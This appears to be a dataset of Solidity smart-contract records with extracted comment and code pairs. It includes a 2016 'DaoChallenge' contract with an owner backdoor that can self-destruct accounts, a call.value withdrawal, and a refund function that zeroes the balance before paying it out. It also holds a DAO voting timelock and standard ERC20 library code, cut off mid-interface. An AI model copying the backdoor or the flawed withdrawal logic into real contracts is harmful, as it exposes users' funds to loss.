//Address: 0x4B902704026D14117b5E9EFA7FdaFDfF4bA610eF //Contract name: DaoChallenge //Balance: 0 Ether //Verification Date: 10/12/2016 //Transacion Count: 4 // CODE STARTS HERE contract DaoAccount { /************************** Constants ***************************/ uint256 constant tokenPrice = 1000000000000000; // 1 finney /************************** Events ***************************/ // No events /************************** Public variables ***************************/ uint256 public tokenBalance; // number of tokens in this account /************************** Private variables ***************************/ address owner; // owner of the otkens address daoChallenge; // the DaoChallenge this account belongs to // Owner of the challenge with backdoor access. // Remove for a real DAO contract: address challengeOwner; /************************** Modifiers ***************************/ modifier noEther() {if (msg.value > 0) throw; _} modifier onlyOwner() {if (owner != msg.sender) throw; _} modifier onlyChallengeOwner() {if (challengeOwner != msg.sender) throw; _} /************************** Constructor and fallback **************************/ function DaoAccount (address _owner, address _challengeOwner) { owner = _owner; daoChallenge = msg.sender; // Remove for a real DAO contract: challengeOwner = _challengeOwner; } // Only owner can fund: function () onlyOwner returns (uint256 newBalance){ uint256 amount = msg.value; // No fractional tokens: if (amount % tokenPrice != 0) { throw; } uint256 tokens = amount / tokenPrice; tokenBalance += tokens; return tokenBalance; } /************************** Private functions ***************************/ // This uses call.value()() rather than send(), but only sends to msg.sender // who is also the owner. function withdrawEtherOrThrow(uint256 amount) private { if (msg.sender != owner) throw; bool result = owner.call.value(amount)(); if (!result) { throw; } } /************************** Public functions ***************************/ function refund() noEther onlyOwner { if (tokenBalance == 0) throw; tokenBalance = 0; withdrawEtherOrThrow(tokenBalance * tokenPrice); } // The owner of the challenge can terminate it. Don't use this in a real DAO. function terminate() noEther onlyChallengeOwner { suicide(challengeOwner); } } contract DaoChallenge { /************************** Constants ***************************/ // No Constants /************************** Events ***************************/ event notifyTerminate(uint256 finalBalance); /************************** Public variables ***************************/ /************************** Private variables ***************************/ // Owner of the challenge; a real DAO doesn't an owner. address owner; mapping (address => DaoAccount) private daoAccounts; /************************** Modifiers ***************************/ modifier noEther() {if (msg.value > 0) throw; _} modifier onlyOwner() {if (owner != msg.sender) throw; _} /************************** Constructor and fallback **************************/ function DaoChallenge () { owner = msg.sender; // Owner of the challenge. Don't use this in a real DAO. } function () noEther { } /************************** Private functions ***************************/ // No private functions /************************** Public functions ***************************/ function createAccount () noEther returns (DaoAccount account) { address accountOwner = msg.sender; address challengeOwner = owner; // Don't use in a real DAO // One account per address: if(daoAccounts[accountOwner] != DaoAccount(0x00)) throw; daoAccounts[accountOwner] = new DaoAccount(accountOwner, challengeOwner); return daoAccounts[accountOwner]; } function myAccount () noEther returns (DaoAccount) { address accountOwner = msg.sender; return daoAccounts[accountOwner]; } // The owner of the challenge can terminate it. Don't use this in a real DAO. function terminate() noEther onlyOwner { notifyTerminate(this.balance); suicide(owner); } }
/ This uses call.value()() rather than send(), but only sends to msg.sender who is also the owner.
Private functions function withdrawEtherOrThrow(uint256 amount) private { if (msg.sender != owner) throw; bool result = owner.call.value(amount)(); if (!result) { throw; } }
14,104,042
// SPDX-License-Identifier: MIT // File: Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: eth-token-recover/contracts/TokenRecover.sol pragma solidity ^0.6.0; /** * @title TokenRecover */ contract TokenRecover is Ownable { /** * @dev Remember that only owner can call so be careful when use on contracts generated from other contracts. * @param tokenAddress The token contract address * @param tokenAmount Number of tokens to be sent */ function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner { IERC20(tokenAddress).transfer(owner(), tokenAmount); } } // File: TrenderingDAOvoteAGAINST.sol pragma solidity ^0.6.0; /** * @title TrenderingDAOvoteAGAINST * @author C based on source by https://github.com/OpenZeppelin https://github.com/vittominacori * * @dev This is the paid voting contract for the TrenderingDAO. Voters send xTRND to this contract * and the xTRND value represents the number of votes cast. * * For the duration of the vote this contract becomes a timelock and xTRND cannot be removed. * Once the timelock elapses, the xTRND can only be released back to the deployer address. * * This contract does not prevent votes to be sent after the voting timelock elapses. * However, release should be triggered when voting timelock elapses, triggering a vote count snapshot. */ contract TrenderingDAOvoteAGAINST is Ownable { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private _token; // Beneficiary of tokens after they are released address private _beneficiary; // Timestamp when token release is enabled uint256 private _releaseTime; // Last vote count uint256 private _lastVoteCount; // Current TIP ID uint256 private _tipId; constructor (IERC20 token) public { _token = token; // voting token address _beneficiary = msg.sender; // release allowed only to deployer _releaseTime = block.timestamp; // lock is open on contract creation _lastVoteCount = 0; _tipId = 1; } /** * @return the token being held. */ function token() public view returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @dev Go to the next TIP ID. Cannot be changed during the voting timelock. */ function setNextTip() public onlyOwner { require(block.timestamp >= _releaseTime, "TrenderingDAOvoteAGAINST: current time is before release time"); _lastVoteCount = 0; // reset last vote count on new TIP vote _tipId += 1; } /** * @return the current TIP ID. */ function tipId() public view returns (uint256) { return _tipId; } /** * @return the amount of votes taken by the snapshot when the voting ends. */ function lastVoteCount() public view returns (uint256) { return _lastVoteCount; } /** * @dev Set the time when the tokens are released. Cannot be changed during the voting timelock. */ function setReleaseTime(uint256 newReleaseTime) public onlyOwner { require(block.timestamp >= _releaseTime, "TrenderingDAOvoteAGAINST: current time is before release time"); _releaseTime = newReleaseTime; } /** * @return the time when the tokens are released. */ function releaseTime() public view returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to deployer. */ function release() public onlyOwner { require(block.timestamp >= _releaseTime, "TrenderingDAOvoteAGAINST: current time is before release time"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "TrenderingDAOvoteAGAINST: no tokens to release"); // trigger a snapshot of the amount of votes if (_lastVoteCount == 0) { _lastVoteCount = amount; } _token.safeTransfer(_beneficiary, amount); } /** * @notice Remove any invalid votes before next vote. */ function purge() public onlyOwner { uint256 purgeTime = _releaseTime + 1 days; // prevent a purge before release is possible require(block.timestamp >= purgeTime, "TrenderingDAOvoteAGAINST: current time is before release time"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "TrenderingDAOvoteAGAINST: no tokens to purge"); _token.safeTransfer(_beneficiary, amount); } }
Transfers tokens held by timelock to deployer./ trigger a snapshot of the amount of votes
function release() public onlyOwner { require(block.timestamp >= _releaseTime, "TrenderingDAOvoteAGAINST: current time is before release time"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "TrenderingDAOvoteAGAINST: no tokens to release"); if (_lastVoteCount == 0) { _lastVoteCount = amount; } _token.safeTransfer(_beneficiary, amount); }
10,674,639
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint 